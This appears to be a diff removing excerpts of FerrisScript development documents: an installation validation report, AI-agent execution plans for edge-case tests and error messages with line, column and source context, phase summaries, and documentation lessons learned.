-## 2. Installation Commands Validation
-
-### Command 1: Clone Repository
-
-**Documentation:**
-
-```bash
-git clone https://github.com/dev-parkins/FerrisScript.git
-cd ferrisscript
-```
-
-**Issue Found:** ❌ **CRITICAL - Directory name mismatch**
-
-**Problem:**
-
-- README instructs: `cd ferrisscript` (lowercase)
-- Actual directory: `FerrisScript` (capitalized)
-- This will cause `cd` to fail on case-sensitive file systems (Linux, macOS)
-
-**Impact:**
-
-- **Windows:** Works (case-insensitive)
-- **Linux/macOS:** FAILS - directory not found
-
-**Fix Required:**
-
-```bash
-# Option 1: Match actual directory name (recommended)
-git clone https://github.com/dev-parkins/FerrisScript.git
-cd FerrisScript
-
-# Option 2: Use repository variable (also valid)
-git clone https://github.com/dev-parkins/FerrisScript.git
-cd FerrisScript
-```
-
-**Recommendation:** Update README.md line 38 to use `cd FerrisScript` (capitalized).
-
-**Time Estimate:** ~10 seconds (standard git clone)
-
----
-
-### Command 2: Build the Project
-
-**Documentation:**
-
-```bash
-cargo build --workspace
-```
-
-**Status:** ✅ **PASS** - Builds successfully
-
-**Build Time Measurement:**
-
-- **First build (clean):** Not measured (workspace already built)
-- **Rebuild (no changes):** ~1-2 seconds
-- **Expected first build:** 3-5 minutes (based on dependency count)
-
-**Output:** All crates compile successfully:
-
-- `rustyscript_compiler`
-- `rustyscript_runtime`
-- `rustyscript_godot_bind`
-
-**Note:** Build uses `--workspace` flag correctly, compiling all 3 crates.
-
-**Recommendation for FAQ.md:**
-
-```markdown
-**Q: How long does the build take?**
-A: First build typically takes 3-5 minutes on modern hardware due to dependency compilation. Subsequent builds are much faster (1-2 seconds if no changes).
-```
-
----
-
-### Command 3: Run Tests
-
-**Documentation:**
-
-```bash
-cargo test --workspace
-```
-
-**Status:** ✅ **PASS** - All tests passing
-
-**Test Results:**
-
-```
-Test Summary:
-- rustyscript_compiler: 69 tests passed
-- rustyscript_runtime: 26 tests passed
-- rustyscript_godot_bind: 1 test passed
-Total: 96 tests, 0 failures
-```
-
-**Time Estimate:** ~5-10 seconds for full test suite
-
-**Recommendation:** Documentation is accurate. No changes needed.
-
----
-

-**Note:** This builds only the Godot binding crate, not the full workspace.
-
-**Time Estimate:** ~1-2 seconds (if workspace already built)
-
----
-
-### Step 2: Open the Test Project
-
-**Documentation:**
-
-- Open Godot 4.2+
-- Import project from `godot_test/project.godot`

-```
-
-### macOS
-
-```bash
-xcode-select --install
-```
-
-```
-
----
-
-### "Using in Godot" Section
-
-**Missing Information:**
-1. **File structure for Godot project:**
-   - Where should scripts be placed?
-   - What directory structure is expected?
-
-2. **Troubleshooting hints:**
-   - What if Godot doesn't recognize `.ferris` files?
-   - What if `FerrisScriptNode` is not available?
-
-3. **Expected behavior:**
-   - What should users see when running the example?
-   - How to verify it's working?
-
-**Recommendations for FAQ.md:**
-```markdown
-**Q: Where should I put my .ferris scripts?**
-A: Place them in `res://scripts/` in your Godot project. Example: `res://scripts/my_script.ferris`
-
-**Q: Godot doesn't recognize my .ferris file. What's wrong?**
-A: Ensure you've built the GDExtension (`cargo build --package ferrisscript_godot_bind`) and restarted Godot.
-```
-
----
-
-## 6. Time Estimates (for FAQ)
-
-Based on testing with existing built workspace:
-
-| Task | Time Estimate | Notes |
-|------|--------------|-------|
-| Clone repository | ~10 seconds | Depends on internet speed |
-| First build (`cargo build --workspace`) | 3-5 minutes | Clean build with dependencies |
-| Rebuild (no changes) | 1-2 seconds | Cached dependencies |
-| Run tests (`cargo test --workspace`) | 5-10 seconds | 96 tests |
-| Build GDExtension | 1-2 seconds | If workspace built |
-| Import Godot project | ~30 seconds | First time import |

-**Version**: v0.0.2 (Patch Release)  
-**Agent**: Claude 4.5  
-**Feature Branch**: `feature/edge-case-error-handling`
-
----
-
-## 📋 Executive Summary
-
-This document outlines the implementation plan for completing the edge case testing and error handling improvements identified in the v0.0.2 checklist. Work builds upon the initial edge case testing completed in the `feature/code-quality-improvements` branch (20 tests added, documented in LEARNINGS.md).
-
-**Scope**: Complete remaining high-priority edge cases and implement comprehensive error handling improvements.
-
----
-
-## ✅ Prior Work Validation
-
-### Completed (feature/code-quality-improvements)
-
-**Edge Case Tests Added** (20 tests, 96 → 116):
-
-- ✅ Large integer literals (documented limitation: parsed as f32)
-- ✅ Deep expression nesting (100 levels tested)
-- ✅ Deep recursion (100+ levels tested)
-- ✅ Variable shadowing
-- ✅ Early returns from nested control flow
-- ✅ Short-circuit evaluation (simplified due to global mutability limitation)
-
-**Documented in**:
-
-- `docs/v0.0.2/LEARNINGS.md` (lines 70-127)
-- `docs/v0.0.2/TEST_COVERAGE_ANALYSIS.md` (high-priority gaps identified)
-
-### Remaining Gaps (This Workstream)
-
-**From v0.0.2-CHECKLIST.md (lines 47-58)**:
-
-**Edge Cases**:
-
-- ❌ Empty script files
-- ❌ Scripts with only comments
-- ❌ Very long variable names (1000+ characters)
-
-**Error Handling**:
-
-- ❌ Better error messages (include line numbers, context)
-- ❌ Colorized error output in Godot console
-- ❌ Error recovery (continue parsing after errors)
-- ❌ Validate error messages in tests
-
----
-
-## 🎯 Acceptance Criteria
-
-### Edge Case Tests
-
-#### 1. Empty Script Files
-
-**AC-1.1**: Lexer must handle empty input (0 bytes) without panicking  
-**AC-1.2**: Parser must return a valid empty AST or appropriate error  
-**AC-1.3**: Runtime must execute empty scripts without errors  
-**AC-1.4**: Test must verify behavior at all pipeline stages (lexer → parser → runtime)
-
-#### 2. Scripts with Only Comments
-
-**AC-2.1**: Lexer must tokenize comment-only files correctly  
-**AC-2.2**: Parser must handle files with only comments (no code)  
-**AC-2.3**: Runtime must execute comment-only scripts without errors  
-**AC-2.4**: Test variations: single comment, multiple comments, mixed line/block comments (if supported)
-
-#### 3. Very Long Variable Names
-
-**AC-3.1**: Lexer must handle identifiers with 1000+ characters  
-**AC-3.2**: Parser must accept long identifiers in all contexts (declarations, references, function names)  
-**AC-3.3**: Runtime must correctly resolve long variable names  
-**AC-3.4**: Test must verify performance doesn't degrade significantly  
-**AC-3.5**: Document any practical limits or recommendations
-
-### Error Handling Improvements
-
-#### 4. Better Error Messages (Line Numbers & Context)
-
-**AC-4.1**: All lexer errors must include line number and column  
-**AC-4.2**: All parser errors must include line number, column, and surrounding context (±2 lines)  
-**AC-4.3**: All type checker errors must include location and type information  
-**AC-4.4**: All runtime errors must include line number and call stack (where applicable)  
-**AC-4.5**: Error messages must be clear, actionable, and user-friendly
-
-#### 5. Colorized Error Output
-
-**AC-5.1**: Errors must use ANSI color codes for terminal output  
-**AC-5.2**: Godot console integration must support colorized output  
-**AC-5.3**: Color scheme: Red for errors, Yellow for warnings, Cyan for hints  
-**AC-5.4**: Colorization must be optional (environment variable or config flag)  
-**AC-5.5**: Plain text fallback for non-TTY environments
-
-#### 6. Error Recovery (Continue Parsing After Errors)
-
-**AC-6.1**: Parser must attempt to recover from syntax errors and continue parsing  
-**AC-6.2**: Multiple errors in a single file must be reported in one pass  
-**AC-6.3**: Recovery strategies must be documented (e.g., skip to next statement, insert missing tokens)  
-**AC-6.4**: Recovered AST must be marked as "incomplete" to prevent runtime execution  
-**AC-6.5**: Maximum error count threshold to prevent infinite loops (suggest 10 errors)
-
-#### 7. Validate Error Messages in Tests
-
-**AC-7.1**: All error tests must use `assert_eq!` or similar to validate exact error messages  
-**AC-7.2**: Error message format must be consistent across all compiler stages  
-**AC-7.3**: Tests must verify line numbers and context are correct  
-**AC-7.4**: Regression tests must be added for any error message changes  
-**AC-7.5**: Documentation must include examples of all error message formats

-## Time Analysis
-
-### Estimated vs. Actual
-
-| Phase | Task | Estimated | Actual | Efficiency |
-|-------|------|-----------|--------|------------|
-| 1.1 | Empty Files | 2h | 1h | 50% faster |
-| 1.2 | Comments Only | 2h | 1h | 50% faster |
-| 1.3 | Long Identifiers | 3h | 1.5h | 50% faster |
-| **Total** | **Phase 1** | **7h** | **3.5h** | **50% faster** |
-
-**Factors Contributing to Efficiency:**
-
-- Clear execution plan reduced decision time
-- Rust's strong type system caught errors early
-- Integration test structure was straightforward
-- Documentation updates were well-scoped
-
----
-
-## Key Learnings
-
-### Technical Discoveries
-
-1. **AST Structure**: Program has `global_vars` and `functions` fields, not `statements`
-   - This is important for future test writers to know
-   - Documentation could be clearer about this structure
-
-2. **Empty Input Handling**: Compiler handles empty files gracefully
-   - No special error handling needed
-   - Returns empty AST as expected
-
-3. **Comment Tokenization**: Comments are fully stripped during lexing
-   - Comment-only files produce empty token streams
-   - This is correct behavior for the current design
-
-4. **Long Identifier Support**: No practical limits found
-   - Tested up to 5000 characters successfully
-   - Performance remains acceptable even with extreme lengths
-   - Recommendation: Document that identifiers are practically unlimited
-
-### Process Learnings
-
-1. **Test Organization**: Integration tests in `tests/` directory work well
-   - Each file is a separate test binary
-   - Cargo automatically discovers and runs them
-   - Use `cargo test --test <name>` to run specific test files
-
-2. **Execution Plan Value**: Having detailed plan saved significant time
-   - Clear acceptance criteria prevented scope creep
-   - Pre-defined test structure made implementation straightforward
-   - Documentation locations were already identified
-
-3. **Incremental Validation**: Running tests after each file helped
-   - Caught AST structure issue immediately
-   - Prevented compound errors
-   - Built confidence progressively
-
----
-
-## Recommendations
-
-### For v0.0.2 Release
-
-1. **Merge This PR**: Foundation for remaining edge case work
-2. **Document Identifier Limits**: Add note that identifiers have no practical length limit
-3. **Consider Next Phase**: Error handling improvements (Phases 2-5 from plan)
-
-### For Future Testing
-
-1. **Property-Based Testing**: Consider `proptest` for identifier length testing
-2. **Benchmark Long Identifiers**: Ensure performance doesn't degrade with very long names
-3. **Cross-Platform Validation**: Verify all tests pass on Linux and macOS in CI
-
-### For Documentation
-
-1. **AST Structure Guide**: Add documentation about Program structure
-2. **Test Writing Guide**: Document how to write integration tests
-3. **Edge Case Catalog**: Maintain list of known edge cases and their status
-
----
-
-## Remaining Work
-
-### From Original Plan (Deferred)
-
-**Phase 2-5** (Error Handling Improvements):
-
-- Better error messages with line numbers and context
-- Colorized error output for Godot console
-- Error recovery (multiple errors per pass)
-- Error message validation in tests
-
-**Decision**: Defer to separate PR(s)
-**Rationale**:
-
-- Phase 1 is complete and testable unit
-- Error handling is more complex (estimated 43h)
-- Better to get Phase 1 merged first
-- Allows for feedback before investing in error handling
-
----
-
-## Success Criteria Met

-### Quantitative ✅
-
-- ✅ All 15 new tests passing (100%)
-- ✅ All existing tests still pass (100%)
-- ✅ Test coverage increased by 16%
-- ✅ All quality checks pass (clippy, fmt, docs lint)
-
-### Qualitative ✅
-
-- ✅ Tests are clear and maintainable
-- ✅ Documentation is comprehensive
-- ✅ Code follows project conventions
-- ✅ Work is ready for review and merge

-# Error Message Improvements (Phase 2) - Execution Plan
-
-**Workstream**: FerrisScript v0.0.2 Error Handling - Phase 2  
-**Date**: October 3, 2025  
-**Agent**: GitHub Copilot  
-**Status**: Planning → In Progress  
-**Branch**: `feature/error-messages-phase2`  
-**Target PR**: #12 (TBD)
-
----
-
-## 📋 Executive Summary
-
-This workstream implements Phase 2 of the error handling improvements from `EDGE_CASE_ERROR_HANDLING_PLAN.md`. Phase 1 (edge case tests) is complete with 15 tests merged in PR #11. Phase 2 focuses on ensuring all compiler errors include line numbers and column information.
-
-**Scope**: Line/column position tracking only (no source context display, no colorization, no error recovery - those are Phase 3-5)
-
----
-
-## Q&A: Context Gathering
-
-### Workstream Context
-
-**Q1: What is the primary goal?**
-A: Ensure ALL compiler errors (lexer, parser, type checker) include line number and column information for better debugging.
-
-**Q2: What version is this for?**
-A: v0.0.2 (Patch Release)
-
-**Q3: What type of release?**
-A: Patch release - bug fixes and improvements, no breaking changes to API (error message text changes are acceptable for pre-1.0)
-
-**Q4: Why is this work important?**
-A: Current error messages are inconsistent - some include positions, some don't. Users need precise error locations to debug scripts efficiently.
-
-**Q5: What's the source of requirements?**
-A: v0.0.2-CHECKLIST.md (lines 54-58) and EDGE_CASE_ERROR_HANDLING_PLAN.md
-
-### Prior Work
-
-**Q1: Has similar work been done before?**
-A: Yes! Position tracking infrastructure already exists:
-
-- `Span` struct in `ast.rs` with line/column fields ✅
-- Lexer tracks `self.line` and `self.column` ✅
-- Some errors already include "at line X, column Y" ✅
-
-**Q2: Are there existing tests?**
-A: 111 tests total (96 original + 15 from Phase 1). No specific error message validation tests yet.
-
-**Q3: What documentation exists?**
-A: EDGE_CASE_ERROR_HANDLING_PLAN.md (657 lines), TEST_COVERAGE_ANALYSIS.md, LEARNINGS.md
-
-**Q4: What patterns should I follow?**
-A: Existing error format in parser.rs: `"Expected {}, found {} at line {}, column {}"`
-
-**Q5: What should I NOT change?**
-A: Don't modify AST structure, don't change token types, don't alter compilation behavior (only improve error messages)
-
-### Constraints
-
-**Q1: What changes are allowed?**
-A: Error message text improvements, adding position info, creating error message tests
-
-**Q2: What changes are NOT allowed?**
-A: No new features, no API changes, no breaking changes to compilation behavior
-
-**Q3: Are there performance requirements?**
-A: Position tracking must not significantly impact compilation speed (current lexer already tracks positions)
-
-**Q4: Are there platform considerations?**
-A: Must work on Windows, Linux, macOS (CI tests all three)
-
-**Q5: What's the timeline?**
-A: High priority for v0.0.2, estimated 6-8 hours (vs. 17 hours in original plan)
-
-### Quality Standards
-
-**Q1: What tests must pass?**
-A: `cargo test --workspace` (all 111 tests)
-
-**Q2: What linting must pass?**
-A: `cargo clippy --workspace -- -D warnings`, `cargo fmt --check`, `npm run docs:lint`
-
-**Q3: What's the test coverage target?**
-A: Maintain or improve current coverage (~70-75%)
-
-**Q4: What's the documentation requirement?**
-A: Update TEST_COVERAGE_ANALYSIS.md, v0.0.2-CHECKLIST.md, create summary document
-
-**Q5: What's the code review process?**
-A: Self-review git diff, create PR with detailed description
-
-### Contribution Workflow
-
-**Q1: What branch should I create?**
-A: `feature/error-messages-phase2` (feature/* convention from CONTRIBUTING.md)
-
-**Q2: What's the commit message format?**
-A: Conventional commits: `fix(compiler): improve error messages with consistent line/column info`
-
-**Q3: Where should files go?**
-A: Tests in `crates/compiler/tests/`, docs in `docs/v0.0.2/`
-
-**Q4: What documents need updating?**
-A: TEST_COVERAGE_ANALYSIS.md, v0.0.2-CHECKLIST.md, EDGE_CASE_ERROR_HANDLING_PLAN.md
-
-**Q5: How should I track progress?**
-A: TODO list in Copilot (already created)
-
----
-
-## 🎯 Acceptance Criteria
-
-Based on EDGE_CASE_ERROR_HANDLING_PLAN.md (AC-4):
-
-### AC-4.1: Lexer Errors
-
-✅ All lexer errors must include line number and column
-
-### AC-4.2: Parser Errors  
-
-✅ All parser errors must include line number and column (defer ±2 lines context to Phase 3)
-
-### AC-4.3: Type Checker Errors
-
-✅ All type checker errors must include location and type information
-
-### AC-4.4: Runtime Errors
-
-⏸️ DEFERRED to Phase 3 (requires call stack tracking - more complex)
-
-### AC-4.5: Error Quality
-
-✅ Error messages must be clear, actionable, and user-friendly
-
-### Additional Criteria (This Phase)
-
-✅ Create error message validation tests  
-✅ Document error message format in code comments  
-✅ All existing tests continue to pass  
-✅ No performance degradation
-
----
-
-## 📊 Execution Strategy Decision
-
-### DECISION: Option C - Incremental Validation (Phase 2 Only)
-
-**Rationale:**
-
-- Phase 1 complete (15 tests merged) ✅
-- Phase 2 is self-contained (line/column improvements only)
-- Estimated 6-8 hours (manageable single PR)
-- Phases 3-5 are more complex (colorization, recovery) - defer to separate PRs
-- Fast feedback loop - validate approach before larger work
-
-**Out of Scope (Phases 3-5):**
-
-- ❌ Source context display (±2 lines)
-- ❌ Visual indicators (^ pointer)
-- ❌ Colorized output
-- ❌ Error recovery (multiple errors per pass)
-- ❌ Runtime stack traces

-## 📝 Implementation Notes
-
-### Error Message Format Standard
-
-**Lexer Errors:**
-
-```
-Invalid number '123.456.789' at line 5, column 10
-```
-
-**Parser Errors:**
-
-```
-Expected ';', found '}' at line 8, column 5
-```
-
-**Type Checker Errors:**
-
-```
-Type mismatch at line 12, column 15: expected i32, found f32
-```
-
-### Testing Approach
-
-**Error Message Tests:**
-
-- Use `assert!(result.is_err())` to verify error occurs
-- Use `assert!(error_msg.contains("line"))` to verify position included
-- Use `assert!(error_msg.contains("column"))` to verify column included
-- For critical errors, use exact string matching with `assert_eq!`
-
-### Trade-offs & Decisions
-
-#### Decision 1: Defer Source Context Display
-
-- **Rationale**: Requires passing source string through compilation pipeline (more complex)
-- **Alternative**: Could implement now, but increases scope significantly
-- **Chosen**: Defer to Phase 3 for cleaner, focused PR
-
-#### Decision 2: Pattern Matching vs. Exact Matching
-
-- **Rationale**: Error message text may evolve, exact matching is brittle
-- **Alternative**: Use exact matching for stability
-- **Chosen**: Pattern matching for position info, exact for critical errors
-
-#### Decision 3: Runtime Errors Deferred
-
-- **Rationale**: Requires call stack tracking infrastructure (not present)
-- **Alternative**: Implement minimal stack tracking now
-- **Chosen**: Defer to Phase 3 - runtime errors less critical than compile errors

-## ⚠️ Known Limitations / Future Work
-
-### Phase 3-5 (Deferred to Future PRs)
-
-- ❌ Source context display (±2 lines around error)
-- ❌ Visual indicators (^ pointer at error location)
-- ❌ Colorized output (ANSI colors for terminal/Godot)
-- ❌ Error recovery (multiple errors per compilation pass)
-- ❌ Runtime stack traces (call stack for runtime errors)
-
-**Rationale**: Phase 2 is complete, self-contained, and provides immediate value. Remaining phases are more complex and better suited for separate PRs.
-
----
-
-## 💡 Recommendations
-
-### For v0.0.2 Release
-
-1. **Merge This PR**: Core improvement complete, all tests passing
-2. **Consider Phase 3 Next**: Source context display (estimated 4-6h)
-3. **Document Format**: Add error message format to CONTRIBUTING.md
-
-### For Future Error Handling
-
-1. **Error Codes**: Consider adding error codes (E001, E002, etc.)
-2. **Error Recovery**: Implement panic-mode recovery for better multi-error reporting
-3. **Helpful Hints**: Add "did you mean?" suggestions
-4. **Documentation Links**: Link errors to documentation pages

-# Error Message Improvements (Phase 3) - Execution Plan
-
-**Workstream**: FerrisScript v0.0.2 Error Handling - Phase 3  
-**Date**: October 3, 2025  
-**Agent**: GitHub Copilot  
-**Status**: Planning → In Progress  
-**Branch**: `feature/error-messages-phase3`  
-**Target PR**: #13 (TBD)  
-**Dependencies**: PR #12 (Phase 2 - line/column tracking)
-
----
-
-## 📋 Executive Summary
-
-This workstream implements Phase 3 of the error handling improvements from `EDGE_CASE_ERROR_HANDLING_PLAN.md`. Phase 2 (line/column tracking) added position information to all 31 compiler errors. Phase 3 focuses on adding **source context display** (±2 lines around the error) with **visual indicators** (e.g., `^` pointers) to make errors more actionable.
-
-**Scope**: Source context display only (no colorization, no error recovery - those are Phase 4-5)
-
-**Key Challenge**: Must pass source string through compilation pipeline to enable context extraction at error time.
-
----
-
-## Q&A: Context Gathering
-
-### Workstream Context
-
-**Q1: What is the primary goal?**
-A: Add source code context (±2 lines) to all compiler error messages with visual indicators showing exactly where the error occurred.
-
-**Q2: What version is this for?**
-A: v0.0.2 (Patch Release)
-
-**Q3: What type of release?**
-A: Patch release - error message improvements are acceptable for pre-1.0, no breaking API changes
-
-**Q4: Why is this work important?**
-A: Currently errors only show "at line X, column Y" but users can't see what code caused the error without switching to their editor. Context display makes errors instantly actionable.
-
-**Q5: What's the source of requirements?**
-A: EDGE_CASE_ERROR_HANDLING_PLAN.md (Task 2.2: "Extract context ±2 lines from source for error messages")
-
-### Prior Work
-
-**Q1: Has similar work been done before?**
-A: Phase 2 (PR #12) added line/column tracking to all 31 errors. Infrastructure exists:
-
-- ✅ Lexer tracks `self.line` and `self.column`
-- ✅ Parser has `self.current_line` and `self.current_column`
-- ✅ All errors include position: "at line X, column Y"
-- ❌ Source strings NOT currently passed through pipeline (need to add)
-
-**Q2: Are there existing tests?**
-A: 153 tests total (111 original + 15 Phase 1 + 22 Phase 2 + 5 others). Phase 2 has error message validation tests.
-
-**Q3: What documentation exists?**
-A:
-
-- EDGE_CASE_ERROR_HANDLING_PLAN.md - Original multi-phase plan
-- ERROR_MESSAGES_PHASE2_EXECUTION_PLAN.md - Line/column tracking (completed)
-- ERROR_MESSAGES_PHASE2_SUMMARY.md - Phase 2 completion summary
-
-**Q4: What patterns should I follow?**
-A: Example error format from plan (EDGE_CASE_ERROR_HANDLING_PLAN.md lines 303-313):
-
-```

-- [x] Note any existing helper functions for error formatting
-
-**Audit Results**:
-
-#### Lexer Errors (6 total)
-
-All errors already include `line` and `column`. Format: `"[Message] at line {}, column {}"`
-
-1. Line 196: Unterminated string
-2. Line 229: Invalid escape sequence
-3. Line 235: Unterminated string after escape
-4. Line 358: Unexpected character '&'
-5. Line 371: Unexpected character '|'
-6. Line 411: Unexpected character
-
-**Current API**: `pub fn tokenize(input: &str) -> Result<Vec<Token>, String>`  
-**Source Available**: ✅ Yes - `input` is the source string
-
-#### Parser Errors (14 total)
-
-All errors include `line` and `column`. Format: `"[Message] at line {}, column {}"`
-
-All 14 errors found in parser.rs (updated in Phase 2):
-
-- Lines 45, 69, 95, 109, 141, 158, 172, 203, 212, 306, 320, 421, 519, 555
-
-**Current API**: `pub fn parse(tokens: &[Token]) -> Result<Program, String>`  
-**Source Available**: ❌ No - only receives tokens, needs source parameter added
-
-#### Type Checker Errors (18 total)
-
-All errors include span position. Format: `"[Message] at [Span]"` or `"[Message] at line {}, column {}"`
-
-18 calls to `self.error()` found at lines:
-
-- 129, 140, 215, 223, 243, 259, 283, 319, 340, 361, 374, 391, 401, 414, 427, 440, 451, 465
-
-**Current API**: `pub fn check(program: &Program) -> Result<(), String>`  
-**Source Available**: ❌ No - only receives AST, needs source parameter added
-
-#### Function Signature Changes Needed
-
-1. **Parser**: Add source parameter
-   - `parse(tokens: &[Token], source: &str)`
-   - Pass to `Parser::new()`
-
-2. **Type Checker**: Add source parameter
-   - `check(program: &Program, source: &str)`
-   - Pass to `TypeChecker` struct
-
-3. **Compile**: Already has source, pass through
-   - `compile(source: &str)` → pass to `parse()` and `check()`
-
-#### No Existing Helper Functions
-
-❌ No error formatting helpers exist yet - will create in Phase 3.2
-
----
-
-### Phase 3.2: Design Source Context API
-
-**Estimated**: 1.5 hours  
-**Status**: ✅ Complete
-
-**Tasks**:
-
-- [x] Design function signature changes (lexer, parser, type_checker)
-- [x] Choose source string storage strategy (&str - simplest, source already available)
-- [x] Create helper function: `extract_source_context(source: &str, line: usize) -> String`
-- [x] Create helper function: `format_error_pointer(column, line_num_width, hint) -> String`
-- [x] Create comprehensive helper: `format_error_with_context()`
-- [x] Write complete module with documentation and tests (11 tests, all passing!)
-
-**Deliverables**:
-
-- ✅ `crates/compiler/src/error_context.rs` created (269 lines)
-- ✅ 11 comprehensive tests covering all edge cases
-- ✅ Module added to lib.rs and compiling
-
-**Design Decisions**:
-
-- ✅ Use `&str` references (source already available in lexer, will pass through for parser/type_checker)
-- ✅ Helper module keeps error formatting code DRY
-- ✅ Edge cases handled: line 1, last line, files with <3 lines, empty files
-- ✅ Line number alignment for files with 99+ lines
-- ✅ Pointer alignment accounts for line number width
-
-**Function Signatures Needed**:
-
-1. Parser: Add source to `Parser::new()` (will store as field)
-2. Type Checker: Add source parameter to `check()` and `TypeChecker::new()`
-3. Compile: Pass source to `parse()` and `check()`

-## 📝 Implementation Notes
-
-### Source Context Helper Design
-
-**Location**: `crates/compiler/src/error_context.rs`
-
-**Key Functions**:
-
-```rust
-/// Extract ±2 lines of context around an error location
-pub fn extract_source_context(source: &str, error_line: usize) -> Vec<String> {
-    // Returns lines with line numbers (e.g., "  3 | fn add() {")
-    // Handles edge cases: line 1, last line, files with <3 lines
-}
-
-/// Generate pointer line with column alignment
-pub fn format_error_pointer(column: usize, message: &str) -> String {
-    // Returns: "    |     ^ Expected ';'"
-    // Column is 1-based, needs adjustment for 0-based string indexing
-}
-
-/// Complete error formatting with context + pointer
-pub fn format_error_with_context(
-    base_message: &str,
-    source: &str,
-    line: usize,
-    column: usize,
-    hint: &str
-) -> String {
-    // Combines base message + context + pointer + hint
-}
-```
-
-**Edge Cases**:
-
-- File with 1 line: Show just that line
-- File with 2 lines: Show both lines
-- Error on line 1: Show lines 1-3
-- Error on last line: Show last 3 lines
-- Windows line endings (\r\n): Use `lines()` iterator (handles automatically)
-
-### API Changes
-
-**Current (Phase 2)**:
-
-```rust
-pub fn compile(input: &str) -> Result<Program, String>
-pub fn parse(tokens: Vec<Token>) -> Result<Program, String>
-pub fn tokenize(input: &str) -> Result<Vec<Token>, String>
-```
-
-**Proposed (Phase 3)**:
-
-```rust
-// No public API changes needed! Internal functions pass source through:
-// - tokenize() already has source
-// - parse() needs source added to Parser::new()
-// - type_check() needs source parameter added
-```
-
-**Strategy**: Keep public API unchanged, thread source internally.
-
-### Error Message Format Standard
-
-**Template**:
-
-```
-[Error Type] [Details] at line [LINE], column [COLUMN]
-
-  [LINE-2] | [source code]
-  [LINE-1] | [source code]
-  [LINE  ] | [source code]
-    |      [spaces]^ [Hint message]
-  [LINE+1] | [source code]
-  [LINE+2] | [source code]
-```
-
-**Line Number Formatting**:
-
-- Right-align line numbers for files >99 lines
-- Use consistent spacing: "  3 |" vs " 42 |" vs "142 |"
-
-**Pointer Alignment**:
-
-- Column is 1-based (first character = column 1)
-- Pointer needs: (line number width) + (space) + (|) + (space) + (column-1 spaces) + (^)
-- Example: Line 5, column 12 → "    |            ^"
-
-### Trade-offs & Decisions
-
-#### Decision 1: Don't Span Multiple Lines (Yet)
-
-- **Why**: Multi-line error spans (e.g., unclosed string across 10 lines) are complex
-- **Trade-off**: Users see pointer at error start, not full span
-- **Future**: Phase 4 or 5 could add span ranges
-
-#### Decision 2: Use &str Lifetimes (Not Arc<str>)
-
-- **Why**: Source strings are short-lived (single compilation), no need for reference counting
-- **Trade-off**: Slightly more complex lifetime annotations
-- **Benefit**: Zero allocation overhead, better performance
-
-#### Decision 3: Extract ±2 Lines (Not ±5)
-
-- **Why**: 5 lines context = 11 total lines = cluttered terminal
-- **Trade-off**: Less context for complex errors
-- **Benefit**: Errors fit on screen, easier to read
-
-#### Decision 4: No Colorization (Yet)
-
-- **Why**: That's Phase 4 - keep changes focused
-- **Trade-off**: Errors less visually distinct
-- **Benefit**: Simpler implementation, easier review
-

-- CLA Assistant - Not needed (no patent concerns, permissive MIT license)
-- DCO Probot - Not needed (simple project, no authorization concerns)
-- Secret Scanning - Future security consideration
-
-### Best Practices Applied
-
-1. **Anti-Duplication**:
-   - CONTRIBUTING.md links to README for installation (doesn't duplicate)
-   - References SINGLE_SOURCE_OF_TRUTH.md for doc contributors
-   - All templates link back to guides rather than repeating content
-
-2. **Case-Sensitive Awareness**:
-   - All paths use correct `FerrisScript` casing (not `ferrisscript`)
-   - All file extensions use `.ferris` (not `.rscr`)
-
-3. **Conventional Commits**:
-   - Commit message format: `docs: Phase 2 - add comprehensive community documentation`
-   - Types documented: feat, fix, docs, style, refactor, test, chore
-   - Scope optional but encouraged
-
-4. **Squash and Merge**:
-   - Feature branches squashed to keep main history clean
-   - Documented in CONTRIBUTING.md and PHASE_TRACKING.md
-   - Branch auto-delete recommended
-
-5. **Draft PRs**:
-   - Encourages early feedback via draft or [WIP] prefix
-   - "Notes to Reviewers" section in PR template

-
-## Key Learnings & Insights
-
-### Content Strategy
-
-1. **Tables Beat Paragraphs for Comparisons**
-   - FAQ Q2 (Rust vs FerrisScript) uses a comparison table
-   - Much clearer than prose explanation
-   - Easy to scan for specific differences
-   - **Recommendation:** Use tables for feature comparisons in future docs
-
-2. **Platform-Specific Commands Are Essential**
-   - Troubleshooting includes apt/dnf/pacman/brew variations
-   - Users don't want to "figure out" package manager syntax
-   - **Recommendation:** Always provide platform-specific commands for setup/installation docs
-
-3. **File Extension Clarification Critical**
-   - FAQ explicitly addresses `.ferris` vs `.rscr` confusion
-   - Early docs had `.rscr`, causing confusion
-   - **Recommendation:** Add file extension to "Project Status" section in README
-
-4. **Code Examples in FAQ**
-   - Users prefer seeing code over reading descriptions
-   - FAQ Q7 (GDScript integration) shows actual code patterns
-   - **Recommendation:** Include code snippets in all "how to" questions
-
-5. **"Why?" Explanations Improve Understanding**
-   - Troubleshooting explains *why* issues occur (e.g., case-sensitive filesystems)
-   - Helps users debug similar issues in the future
-   - **Recommendation:** Add "Why?" sections to common errors
-
-### Process Improvements
-
-1. **Context7 MCP Limitations**
-   - Query for FAQ best practices returned CSS documentation
-   - Need more specific queries or fallback to local docs
-   - **Recommendation:** Test Context7 queries before relying on them; always have fallback plan
-
-2. **VALIDATION_REPORT.md as Primary Source**
-   - Excellent source for common issues and platform prerequisites
-   - Better than trying to infer problems from code
-   - **Recommendation:** Always write VALIDATION_REPORT before FAQ/Troubleshooting (already done)
-
-3. **Sequential Todo List Works Well**
-   - 8-item checklist kept work organized
-   - Marking items in-progress/completed tracked progress
-   - **Recommendation:** Use manage_todo_list for all multi-deliverable phases
-
-4. **Validation Before Commit**
-   - Grep searches caught potential issues early
-   - Test suite confirmed no regressions
-   - **Recommendation:** Always validate before CHANGELOG update

-1. **FAQ vs Troubleshooting Boundary**
-   - **FAQ:** General questions, "what is", "how do I", "when should I"
-   - **Troubleshooting:** Error messages, "I tried X and got Y", platform-specific issues
-   - Some overlap is OK (e.g., file extension appears in both)
-   - **Recommendation:** FAQ for conceptual questions, Troubleshooting for error resolution
-
-2. **Cross-Reference Strategy**
-   - FAQ links to Troubleshooting for error details
-   - Troubleshooting links to FAQ for conceptual background
-   - Both link to CONTRIBUTING for development setup
-   - **Recommendation:** Every doc should link to 3-5 related docs (not exhaustive)
-
-3. **Duplication vs Redundancy**
-   - **Duplication (bad):** Same installation steps in README and FAQ
-   - **Redundancy (good):** FAQ summarizes, README has details, FAQ links to README
-   - **Recommendation:** Use summaries + links instead of copying content
-
-### GitHub Management Insights
-
-1. **Path-Based CI Is Industry Standard**
-   - Rust, Node.js, React all use dorny/paths-filter
-   - Saves 95% CI time for docs-only PRs
-   - **Recommendation:** Implement in v0.0.3 (high ROI)
-
-2. **Label System Needs Usage Before Automation**
